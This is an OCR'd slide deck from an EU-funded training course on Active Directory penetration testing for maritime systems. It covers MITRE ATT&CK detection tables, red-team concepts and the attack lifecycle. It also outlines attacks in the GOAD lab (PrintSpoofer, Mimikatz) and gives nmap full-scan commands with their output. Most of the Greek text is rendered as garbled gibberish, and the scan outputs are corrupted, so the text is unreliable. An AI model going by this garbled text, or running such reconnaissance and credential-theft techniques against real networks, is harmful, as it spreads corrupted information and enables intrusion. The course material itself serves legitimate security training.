. CyberSecPro

L] L
CyberSecPro Training
We are creating cutting-edge education and training to advance
competencies and professionalism in EU cybersecurity.

Next level cybersecurity
education and training

Funded by
the European Union

Pentesting-Active

Directory Aokiuéc
oleloovonc-Active
Directory- NavtiAtokd

ITAPOYXTAXH AIIO:
XPHXTOX I'PHI'OPIAAHX

9o (OISO



CyberSecPro - Fundedby
the European Union

CyberSecPro creates cutting-edge education and training materials and ; . S
J g 9 Funded by the European Union. Views and opinions expressed are however

courses to advance competencies and professionalism in EU cybersecurituy.

those of the author(s) only and do not necessarily reflect those of the

European Union or HADEA. Neither the European Union nor the granting
authority can be held responsible for them.

Project Agreement no. 101083594




O pOAOC TOV OOKIUMV O1EIGOVGNEC KOl TNG
onaooag otn BaAdoccia acpArELN

Kpiowog pérhog tov dokipadv dieicdvuong Kot Tng opddag
Y TNV aoPdAela 6T BOAAGO1IES EMLYEPNCELC.

AvENon Ttov KuPepvoemifiécemyv ot vavuTiAia
cvumepAaUBavopévng NG TEIPATEING, TNG 2023 TRENDS & INSIGHTS
TPOUOKPATIOG KOL TNG KATACKOTELNG. SCORECARD
IIpocopoinon embécemv cg TPpayLATIKO KOGUO TPOETOIUALEL
0aAdoo1o GVGTHHATO EVOVTL TPOYHLOTIKOV OTEIADY GTOV
KuBepvoympo.

Cyber Events Reported to
Coast Guard by District




Xpnon tov Active Directory octov topéa
NG VO TIALOG

O evepyOg KATAAOYOGS dlayelpileTal TAVTOTNTES, EAEYYOVG TPOSPACTC KOl TOAMTIKEG 6 OAEG TAL

00AACO1ES EMLYEPNOELG.

OAokANpOVE pe Kpioa vauTidlokd cuotiuata, 6nwg AlS, dtaxeipion poptiov ko
TOPOKOAOVON oM TAOIWV.

E&aocparilel eEopBoroyiopéveg Aettovpyieg Kol acpdisia oe OAa Ta Doldooia diKTua.




Xpnon tov Active Directory ctov topéa ¢
VOO TIALOG

Ot kowég gvmdbeieg tng AD meprrapufdavouv tig embéceilg Kerberoasting, Pass-the-Ticket ko Golden Ticket
EvndBeieg B¢touv o€ Kivouvo TNV ac@AAELD KOl TNV AEITOVPYLIKT] OAOKATP®OT TOV OHAGCCIOV GLGTNUATOV.

Topadetypata mpaypatikov emntdcenv tov Evtabsiov tng AD cg vavtikd cevapuo:

o I[MopaPracpuéva GUGTAUATA EVIOTIGHOD CKAPMOV:

O  Zevdpro: Ot emrbépevol ekpetarrevovon po evdbeta AD, 6mtmg enifeon Pass- the-
Ticket, yia va. amoktiicouv pun €€0VG1080TNHEVN TPOGPOOT GTO GOOTNLA CVTOUATNG
avayvoplong (AlS) mov xpnolpomoleital yia TNV TopaKoA0HVONGN TOV KIVIICEDV TOV
TAolmv.

O Emmntdoelg: Avto Oa umopodce va ETITPEYEL GTOVG EMITIOEUEVOVS VO TPOTTOTOICOVY TIG
Béoe1g TV TAoi®V, dNUovpyYdVTAS YeLOdElg OEcElg TAOI®V 1] ATOKPOTTOVTUS TNV
Tpaypatikn 0éon tov TAoimv, 0dNYOVTOG OLVNTIKA GE KIVOUVOLS TAOTYNONG, KIVOUVOLG
cVYKPOLGNG N TEPLGTATIKA TTEIpOTELNG.

® Soumotdl o cveTRUOTA dlayeiplong popTiov:

O  Zevapuo: H enibeon Golden Ticket EMTPETEL GTOVS EYKANHATIES TOV KLPEPVOYDPOL VO
TAOGTOYPAPcOLY elGtThpla xpNotn eviog g AD, divovtag Tovg amepiopiotn tpdcPacn o
TOPOLGS TOL SIKTVOV, CUUTEPIAAUPBAVOUEVEOV TOV GUGTNUATOV dloyeiptong poptiov.

O Eautdoeig: Ot emtifépevol 0o pmopodcoy va XEPay®YNcovV TIG KOTAYPOPES POPTIOL Kot
Ta OEOOUEVA EPOSACTIKNG, TIPOKUAMDVTOG
TAPUYES OTIG AAVGIOEG EQPOILAGLOV, AaVOUCUEVEC TOPAIOGELS POPTIMV KOl GTLLOVTIKEG
OlKOVOUIKEG OTTMAELEG TTAPAPLACELS TNG KAVOVIGTIKNG GLUUOPPMOOTG.




AOKIUEG Oleicovonc Yo BoAdcGLo GVGTH AT

2TooL:

A&loAdyNoNn TG AoPAAELNG TOV GUGTNUATOV TOV OAOKATpOVOVTIOL LE TIG BoAAooleEg EMYEPNOELC.
I[Mpocappoyn tov pebodoroyidv dokiudv dleicdvong os Boldocia TepPAriovTa.

H xoatavonen g éxbeong 6 ametlég oTOV KUPEPVOYDPO EVEPYOTOLEL TPOANTTTIKEG
BeAtidoelg TG ACPAAELOG.




Avo@popd Kol aSloToincn TOV ELPNUATOV

AgmTopepNG OVOPOPA GTOV EVIOTIGUO EVTAOEIOV KOl GTA
EKUETAAALEVOUEVO CLGTNHLLOTA EVLTTAOELOG.

Ot ava@opEG PEATIOVOLV TIC GTPATNYIKEG
aViyYveLON G Kol aTOKPIGNG GTO TANIGLO TMV
0UAACGLOV EMLYELPTCEDV.

Ot a&lomomoieg TANpoPopies amd TG aAvapopES
OlvOoLV TTPOTEPALOTNTA OTIS EVIUEPDCELS
OGPAAELOG KOl OTNV EKTTALOELGT TOL TTPOCHOTTUKOV
OYETIKA LLE TIC ATTEIAEC.




Amnelléc Active Directory: MITRE
ATT&CK

MITRE
ATT&CK.




MITRE ATT&CK: IInyéc oedouévmv

Data Sources

Data sources represent the various subjects/topics of information that can be c:
sub-technique

ted by sensors/logs. Data sources also include data components, which identify specific properties/values of a data source relevant to detecting a given ATT&CK technique or

Data Sources: 41

D Name Description
DS0026 = Active Directory A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)
DS0015 = Application Log Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native 0S or platform)

DS0041  Application Vetting ~ Application vetting report generated by an external cloud service.

DS0039 = Asset Data sources with information about the set of devices found within the network, along with their current software and configurations

DS0037  Certificate A digital document, which highlights information such as the owner’s identity, used to instill trust in public keys used while encrypting network communications

DS0025 | Cloud Service Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs

DS0010 | Cloud Storage Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APis

DS0017 | Command A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task

DS0032 | Container A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another

DS0038 = Domain Name Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)

DS0016 | Drive A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter

DS0027 | Driver A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to

access hardware functions without needing to know precise details about the hardware being used

DS0022 | Fi

@

A computer resource obiect. managed by the I/0 system. for storina data (such as imaaes. text. videos. computer programs, or any wide variety of other media)



MITRE ATT&CK: Aitnon dwametevtnpiov Active
Directory

Active Directory: Active Directory Credential Request

A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)
Domain ] Name Detects

Enterprise 71649 Steal or Forge Monitor AD CS certificate requests (ex: EID 4886) as well as issued certificates (ex: EID 4887) for abnormal activity, including unexpected certificate enroliments and signs of abuse within certificate
ion attributes (such as abusable EKUs).”)

Enterprise  T1558 Steal or Forge Kerberos Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket
Tickets granting service (TGS) requests without preceding TGT requests. onitor the lifetime of TGT tickets for values that differ from the default domain duration."® Monitor for indications of Pass the
Ticket being used to move laterally.

01

Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS requests without preceding TGT
requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the Ticket being used to move laterally.

003 Kerberoasting Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex:
accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17])

004 AS-REP Roasting Monitor for anomalous activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests, Particularly investigate irregular patterns of activity (ex: accounts
making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17), pre-authentication not required [Type: 0x0)).

Enterprise  T1550 Use Alternate Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, such as Windows EID 4769 or 4768, that may use alternate authentication material, such as password hashes,
Auth ion Material Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

002 Pass the Hash Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Windows Security events such as 4768 (A Kerberos i ticket (TGT) was and 4769 (A
Kerberos service ticket was requested) combined with logon session creation information may be indicative of an overpass the hash attempt

003 Pass the Ticket Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has
been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to “Integrity check on decrypted field failed" and indicates misuse by a previously
invalidated golden ticket !



MITRE ATT&CK: IIp6écBaon ce avtikeipeva Active
Directory

Active Directory: Active Directory Object Access

Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)

Domain D Name Detects
Enterprise  T1615 Group Policy Monitor for abnormal LDAP queries with filters for groupPolicycontainex and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory
Discovery service has been accessed
Enterprise 71003 08 Credential Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. 7/ ! ) Note: Domain controllers may not log replication requests originating from
Dumping the default domain controller account. "%, Monitor for replication requests ' from IPs not associated with known domain controllers. /%
006 DCSync Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.”) €} ) Note: Domain controllers may not log replication requests originating from the

default domain controller account.!

:.',

Enterprise 71033 System Owner/User Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. /1 ! ) Note: Domain controllers may not log replication requests originating from ﬂ
Discovery the default domain controller account. ['%), Monitor for replication requests "'/ from IPs not associated with known domain controllers. ['2




MITRE ATT&CK: Anuiovpyia kot dtaypoagn
avtikeluévov Active Directory

Active Directory: Active Directory Object Creation

Initial construction of a new active directory object (ex: Windows EID 5137)
Domain ) Name Detects

Enterprise 71098 .005 = Account Manipulation: Device Registration Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA.""%l

Enterprise 71484 Domain Policy Modification Monitor for newly constructed active directory objects, such as Windows EID 5137.

001 = Group Policy Modification Monitor for newly constructed active directory objects, such as Windows EID 5137.

002 = Domain Trust Modification Monitor for newly constructed active directory objects, such as Windows EID 5137,

Enterprise 71207 Rogue Domain Controller Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects."*

e
Active Directory: Active Directory Object Deletion

Removal of an active directory object (ex: Windows EID 5141)
Domain D Name Detects

Enterprise  T1484 Domain Policy Modification Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.

001 Group Policy Modification Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.




MITRE ATT&CK: Tporonoinon avtikeiuévoo Active
Directory

rectory: Active Dire

Active

ry Object Modification

Changes made to an active directory object (ex: Windows EID 5163 or 5136)

lonitor for changes to account management events on Domain Controflers for successful and falled changes to SID-History.

Enterprise  T1531 n Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc )

Enterprise | T1098 Account Manipulatios Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA
g joming

Enterprise

Monitor for changes made in the Active Directory that may use scripts automatically executed at boot or logon initialization o establish persistence

n Script Monitor for changes made in the Active Directory that may use

logon scripts automatically executed at logon initializ

to establish persistence.

Domain Policy Modificat Monitor for changes made to AD settings for unexpected modifications to user

ccounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).

ip Poticy Modification Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.)

Monitor for changes made to AD settings for unexpected modifications to domai

trust set

ings, such as when a user or application modifies the federation settings on the domain.

Monitor for changes made to ACLS and file/directory ownership. Many of the commands used to modify ACLS and file/directory ownership are built-in system utiities and may generate a high faise positive alert rate, S0 compare against baseline knowledge for how s
typically used and correlate modification events with other indications of malicious activity where possibie.

ems are

sions  Monitor for changes made to DACLS and fiie/directory ownership. Many of the commands used to modify DACLS and flle/directory ownership are built-in System utilities and may generate a high faise positive al
are typically used and correlate modification events with other indications of malicious activity where possidle.

Implementation 1 : Access Permission Modification

trate, 5o compare against basekine knowedge for how systems

on Notes

« Pseudocode Event ID is for Windows Securty Log (Event ID 4670 - Pecmissions on an object were changed)

« We need to exclude events generated by the local system (subject security ID 'NT AUTHORITY\SYSTEM') and focus on actual user events.

« Wnen a permission modification is made for a foider, a new eventlog is generated for each subfoider and fie under that foider. It s advised to group fogs based on handie ID or user ID.

« EventID 4670 aiso includes information about the process that modifies the file permissions. It s advised to focus on uncommon process names, and it i also uncommon for reak-users to perform this task
indows Event ID 4719 (An Attempt Was Made to Access An Object) can aiso be used to alert on changes to Active Directory audit policy for a system.

Detecti

taGul

Enterprise thentication Proces Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies or the registration of new MFA applications
S Reversible Encryptio Monitor property changes in Group Policy: Cemputas passwords u By defaut, the property shoul
6 | MultiFactor Aut n Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies o the registration of new MFA applications
Enterprise  T12 E Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). /'

Enterprise | T1649 Monitor for changes to CA attributes and settings, such as AD CS certifi icate is enrolied) =

template modifications (ex: EID 4899/4900 once a potentially malicious cer




MITRE ATT&CK: Avalntnon yopoKTnpIGTIKOV Kol
TEPLYPOAPDOV CUYKEKPIUEVOV EMOEGEDV

Steal or Forge Kerberos Tickets: Kerberoasting

Other sub-techniques of Steal or Forge Kerberos Tickets (4) A 1D: T1558.003
D Name Sub-technique of: T1558
@ Tactic: Credent
T1558.001 Goiden Ticket @ Platforms: Windows
i~ ; < \Vafi ; apT
T1558.002 Siiver Ticket @ System quuxremen(s Valid domain account or the ability to sniff
traffic within a domain
T1558.003 Contributors: Praetorian
Version: 12
T1558.004 AS-REP Roasting
B A fEr Roasing Created: 11 February 2020
Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Last Modified: 30 March 2023

Version Permalink

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with

at least one service logon account (an account specifically tasked with running a service™)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a

domain controller (DC)." Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account

associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.

This same behavior could be executed using service tickets captured from network traffic. "%

Cracked hashes may enable Per: ation, and Lateral Movement via access to Valid Accoun




MITRE ATT&CK: Avalntnomn ¥opoKTnpIeTIKOV Kol
TEPLYPOAPDOV GCUYKEKPIUEVOV EMOEGEDV

Procedure Examples

Name

Brut

C4 can decode Kerberos 5 tickets and convert it to hashcat format for subsequent cracking.®!

S0363 | Empire Empire uses PowerSploit's Inveke-Kerberazsz to request service tickets and retur crackable ticket hashes.™

G0046 | FIN7 FIN7 has used Kerberoasting for credential access and to enable lateral movement '%

80357 | Impacket Impacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat I'"
C0014  Operation Wocao During Operatio 0, threat actors used PowerSploit's Tnvoke-Kerberoasz module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.['2

0194  PowerSploit PowerSploits Invoke-¥erberoast module can request service tickets and return crackable ticket hashes. ¥

$1071 | Rubeus Rubeus can use the KerberosRequestorSecurityToken. GerRequest Method to request kerberoastable service tickets "

S0692 | SILENTTRINITY SILENTTRINITY contains a module to conduct Kerberoasting 113l

C0024 nds Compromise  During the SofarWinds Compromise, APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline. g

G0102 = Wizard Spider Wizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes."




MITRE ATT&CK: Avalntnon yopoKTnpioTIKOV Kol
TEPLYPOAPDOV CUYKEKPIUEVOV EMOEGEDV

Mitigations
D Mitigation Description

M1041 | Encrypt Sensitive Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.

Information
M1027 = Password Policies Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. Also consider using Group Managed Service Accounts or another third
party product such as password vaulting
M1026 Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators @
Management
Detection
D Data Source Data Component Detects

DS0026 = Active Directory = Act

Cre

Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate ireqular patters of activity

al Request (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17])
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Tt elvolr n KOKKIVN opdoa

Agrtovpyieg tng Kokkivng Oudodoc

O  Zkomdg TV AEITOVPYIKOV entiyelpNoe®v g Kokkivng Ouddac:
IIpocopoimon emBEcemv TANPOVS PACLOTOG Y10, SOKIUEG AGPAAELNG OE OAN
TNV YNOLoKn VTOSOUR, TOVG VTOAANAOVG, TIG EQPOPUOYES KOl TN PUGIKN
acQAAEL.

CyberSecPro

O TIpocouoi®mon TPAYUATIKOV OVTUTAA®V: AVOTapaywyn TEXVIKOV TOV
APNOLOTOLOVVTUL OTTO TPAYLATIKOVS OVTITTAAOLGS Y10 TV ITOKAALYT)
gumadeLag Kat TNV AEIOAOYNGT TOV OUVVTIKOV SVVOTOTHTOV TNG ETULPELNG.

CYBERSECURITY
COMPETENCE
EVELOPME

O ITpng kdKhog Lmng emtiBeong: Ot eMEPNGELS KAAVTTOVY OAOKAT PO TOV
KOKAO (oNG (oG emifeong, TapEYoviog Hio OAOKANPOUEVT a&loAdynon
NG ETOUOTNTOS ACPAAELOG.

O Amoxoidmrovtag evmddeieg: Evtomilel moAAamAoVg popeig emifeong
Kot advvapieg mov cvvNnBmc dev evTOmILOVTUL OTIG TUTIKEG SOKIUEG
dieicdvonc.

.CyberSech @
BY NC SA




Tt elvolr n KOKKIVN opdoa

Enidpaon ko evooudtmon pe tnv Umhe
ouaoa

O  Egapudéoa amoteréocpata: Ta svprpota thg Koxkivng Oudadag
XPNGLOTOL0VVTOL V1o TN PEATimoN TV HETPOV acPUAEing Kot TNV
TPOETOAGTO Y10 SVVNTIKEG ATTEIAEC.

CyberSecPro

O Xvvepyooio pmie opddog:

O  Poélog g pmie opddag: Enayyeipaties acpareiog eTpopTIicUEVOL LLE TOV EVTOTIGHO
gUTOOEIDV, TNV ATOKATACTAOT KOl TV ETOANOEVOT TNG AMOTEAEGHATIKOTTAG.

A

O XpNoWoToldVTOG TO OMOTEAECHATO: AVATTLEN LITOYPAPHOV Yo KAKOBOVLAO AOYIGHIKO,
vAomoinon dlocEaAicE®V Kol
eVIoYLON NG AGPAAELNG TV VTOSOUDV.

~ CYBERSECURITY
.COMPETENCE
)EVELOPME

O Exmaidevon kot Beitioon cueTHUOTOC:

O Exmtoudedote TOLG VTOAANAOVG VO, AVTIGTEKOVTOL OTNV KOW®VIKT] UNYOVIKT).

O Evnuepooelg yio 816pOmwon acpaieiog Tov evionicTnkay Katd T SidpKelo TOV
AELITOLPYIKDV SOKIUDV.

ttlng-edge education and train

aterials ang Courses to advane
peﬁencnes and Professiongli
in EU cybersecurity.

o IIpocopoimwon APT: Ot k6kKiveg OLASEG TPOGOLOLDVOLV TEXVIKEG TTPONYUEVOV ETILOVOV
OTEIADV Y10 QOKIUEG LOKPOTPOOEGUMV AUVVTIKDOV HUNYOVICU®DV.

BY NC SA




Koxkivn opdoa VS AoKiuEG dteicovong

KaBopiopévo medio epaproyng Xwpic kaBopioHévo TESIo EPAPLOYNG

XPpNOHOTOLELTAL YO TOV EVTOTIGULO KOl TNV E&opoidvel mn copumeptpopd TdV avTutdAoy
ekpetdiigvon evnabeldV

TTapéxetl ava@opd ELPNUATOV TOV Xpnowomoteital yio tTnv a&loAdynon g
XPMNOLLOTOLOVVTAL KOTO GUVETELN ATTO TG AVOEKTUKOTNTAG HLOG OPYAVOGCNG £VOVTL
ETALPEIEG Y10 VO EVILEPDGOVV, VA BEATIOGOVV EMOECEDV OVTITTAA®V.

KO VO 00 PAAGOVV TG VTTOSOUES TOVG.

TIpoAnmtikn ce avtibeon pe v aviyvevtikn. Ot IMapéxel a&lomon oo aroTEAECLLATO TOV
dokuéG dleicdvong givor YPTNOILES Yo TOV UTopovV va ¥PNGIHoToIOovV yio Tnv
evtomiod Evnafsidv kot aneildv, ®ctdc0o dev aviyvevon.

TAPEXOLY AELOTON OO OTTOTEAECLOTO TTOV
UTOPOVV VOl XPT|CGLUOTOINOO0VV Yio TNV
TPOANTTIKT] AVIYVELOT OTEILDV OTO UEAAOV.




KYkiog Cong emiBeonc

Maintain Lateral
Presence Movement
// .\
’ \
! \
A
Initial Initial Establish Escalate Internal Complete
Recon -‘ Compromise =i Foothold = Privileges == Recon et Mission -

>1dd1a piag Tumiknig Kuepvoenifeong:

Apxikny Avayvwpton (Initial Recon) & EvTomoudg eKUeTAAEVCIUWY eUTTAOEIWV OTOV OTOXO - ApxIkn Aleioduon
(Initial Compromise) & ATokTnoN apxIkig MPoofaong oto mepIPArIov Tou oTd)ou. - ESpaiwon MNpdofaong
(Establish Foothold) & Evioxuon Tng mapouaiag evtog Tou otdxou yia va diatnpnOei n mpdofaon. - Avapfdduion
Akaliwpdtwy (Escalate Privileges) & Anmoktnon Siamoteutnpiwv Xpnotwy He av§nuéva mmpovopia. - Ecwtepikn
Avayvwplion (Internal Recon) & Evtomouég kpioipwy 6edouévwy evtog Tou oUCTAHATOC. - OAOKARpwOoN
AmootoArg (Complete Mission) & ZuAAoyr), cuokeuaaoia Kal KAOTH TwV O£S0UEVWV-CTOXWV.

NapdmnAevpeg Evépyeiec: Alatripnon MNapouciag (Maintain Presence) & Mapapovr o1o cuoTnua yla pakpoypovia
npdéofaon.
MAgupikn Kivnon (Lateral Movement) & Metakivnon evtog Tou SIKTUOoU yia Tpoc oA mMpooBeTwy cuoTNUATWVY I
AOYOPIACUWV.




KvkAoc Cong eniBeong

Attack Lifecycle — Initial Reconnaissance

e Open source intelligence gathering
e Network and application reconnaissance
e Remote access identification

Maintain Lateral
Presence Maovement
== = SETEER \‘
. =
Initial iti Establish y Escalate ¥ Internal f“'v Complete “:‘.
— e [N Cootholq (W pjiees W oo, W\, )

>

ZUA\oYH TTANPOYOPLWV ATTO AVOIKTEC TTNYEC
Avayvwplon SIKTUOU Kal EQapoywV
Evtomopog SuvatotriTwy amopaKPUOUEVNG
npdéoPaong




KvkAoc Cong eniBeong

Attack Lifecycle — Initial Compromise

e Social engineering
e |Internet-based attack
e Leverage service provider
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KvkAoc Cong eniBeong

Attack Lifecycle — Establish Foothold

e Backdoors
e Remote access subversion
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KvkAoc Cong eniBeong

Attack Lifecycle — Escalate Privileges
e Credential harvesting

e Password cracking
e Pass-the-Hash
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KvkAoc Cong eniBeong

Attack Lifecycle — Internal Reconnaissance

e Critical system identification
e System enumeration
e Account and password enumeration
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KvkAoc Cong eniBeong

Attack Lifecycle — Lateral Movement

e Remote command execution
® Remote administration tools
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KvkAoc Cong eniBeong

Attack Lifecycle — Maintain Presence
e Command and control

Remote access subversion
Account abuse
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KvkAoc Cong eniBeong

Attack Lifecycle — Complete Mission

e Data staging
e Data exfiltration
e Data modification
e Data destruction
A 1P
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KvYkhloc Conc eniBeonc

Attack Lifecycle — APT32

Scheduled Tasks Local Admin
Cobalt Strike BEACON e Account Usage
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KvYkhog Conc eniBeong oto GOAD

TaKTIKEG KOWVOVIKNG UNYOVIKIG TTOV XPNOoLHomTolovvtal yia tnVv mtopafiocn VPN

Avayvdpion xpnotn Kot KEVIPUCOD VITOAOYLIGTI] Y10 T1) GLAAOYY TTANPOPOPLDOV

Awdikocio €yKaTAoTOONS Kol EKTEAECTG EPAPLOYDV GE TTEPPAAAOV
nopaymyng oto eEvmnpetntn Castelblack yio amopakpocuévo éleyyo

ANUIOVPYUVCTUKAV LETOYMV UCTOOV Yo TNV TAPAS0GT) KAKOBOLAOL AOY1IGHUUCOD

KMpdkowon mpovopiov péom gumddetog tov PrintSpoofer

E&aymyn pvAung pe xprion tov Mimikatz yio tv ardxmon gvaicOntov diomictevtnpiov



Kvkloc Cong eniBeonc oto GOAD-
Apyikn avayvopion

nmap -Pn -p- -sC -sV -0A full_scan_goad

Nmap scan report for 192.168.56.10

Host is up (0.0068s latency).

Mot shown: 65513 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

53/tcp open domain  Simple DNS Plus

80/tcp open http  Microsoft 1S httpd 10.0

| _http-title: 115 Windows Server

| http-methods:

| _ Potentially risky methods: TRACE

| _http-server-header: Microsoft-115/10.0

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-13 13:43:247)

135/tcp open msrpe  Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap  Microsoft Windows Active Directary LDAP (Domain: sevenkingdoms_local., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open ssifldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms. locall., Site: Default-First-Site-Name)
3268/tcp open ldap  Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.localQ., Site: Default-First-5ite-Name)
3269/ tcp open sslfldap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.locald., Site: Default-First-Site-Name)
3389/tcp open ms-wht-server Microsoft Terminal Services

5986/tcp open sslfhttp Micrasoft HTTPAPI httpd 2.0 (SSDP/UPRP)

49389 tcp open mec-nmf  MET Message Framing

49667 tcp open msrpe Microsoft Windows RPC

49670/ /tcp open msrpc Microsaft Windows RPC

49671 /tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0

49673 /tcp open msrpo Microsoft Windows RPC

49674/ /tcp open msrpc Microsaft Windows RPC

49688 tcp open msrpe Microsoft Windows RPC

49725/tcp open msrpo Microsoft Windows RPC




KvYkhog Cong enibeong oto GOAD- Apyikn
aAVOYVOPLoN

nmap -Pn -p- -sC -5V -oA ful_scan_goad

Nmap scan report for 192.148.548.11

Host is up (0.0074s latency).

Mot shown: 45517 filtered tep ports [(no-response)

PORT STATE SERVICE WERSION

53ftcp open dormain Simple DWS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos (server fime: 2023-05-13 13:43:311)
135/tcp open msrpc microsoft Windows RPC

13%/tcp open netbios-ssn Microsoft Windows netbios-ssn

38%/tcp open Idap Microsoft Windows Active Directory LDAP [Domain: sevenkingdoms.localD.,
Site: Default-First-Site-Name)

445/tcp open microsoff-dse

464ftcp open kpasswd5e

436/tcp open tcpwrapped

3268/tcp open ldap mMicrosoft Windows Active Directory LDAP (Domain: sevenkingdoms.locall.,
Site: Default-First-Site-Name|)

3269 tcp open fcpwrapped

3389 Mcp open ms-wbt-server Microsoft Terminal Services

5%8s/tcp open slfhitp ticrosaft HTTPAPI hitpd 2.0 [SSDPFUPRP)

?38%tcp open mc-nmf MET Message Framing

479670/tcp open ncacn_http  Microsoft Windows RPC owver HTTF 1.0

49671 tcp open msrpc Microsoft Windows RPC

494674 cp open merpc Microsoft Windows RPC

49677 Mfcp open merpc Microsoft Windows RPC

49715/fcp open msrpc Microsoft Windows RPC

: II"




KvYkhog Cong enibeong oto GOAD- Apyikn

aAVOYVOPLoN

nmap -Pn -p- -sC -5V -oA full_scan_goad

Nimap scan report for 192.148.54.11

Host is up (0.0074s latency).

Mot shown: 45517 filtered tcp porfs (no-response)

PORET STATE SERVICE WERSION

S3ftcp open domain Simple DMS Plus

8B/tcp open kerberos-sec Microsoft Windows Kerberos [server time: 2023-05-13 13:43:317)
135/tcp open msrpc Microsoft Windows RPC

13%/tcp open netbios-ssn  Microsoft Windows netbios-ssn

38%tcp open dap Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.localD.,
Site: Default-First-Site-Name)

445/tcp open microsoff-ds2

444ftcp open kposswds?

d3sftcp open fcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP |Domain: sevenkingdoms.locald.,
Site: Default-First-3ite-Name)

3269 ftcp open focpwrapped

3389 Mtcp open ms-whbit-server Microsoft Terminal Services

SP84/tcp open sslfhttp Microsaft HTTPAPI hittpd 2.0 (SSDP/UPNRE)

938%/tcp open me-nmf {MET Message Framing

494870/tcp open ncacn_http  Microsoft Windows RPC over HTIF 1.0

494671 ffcp open mesrpc Microsoft Windows RPC

4967 46/tfcp open mernpc Microsoft Windows RPC

49677 [fcp open mernpc Microsoft Windows RPC

49715/fcp apen msrpc Microsoft Windows RPC

: II"




KvYkhog Cong enibeong oto GOAD- Apyikn
aAVOYVOPLoN

Mmap scan repart for 192.1468.56.12

Host is up (0.0115 latency).

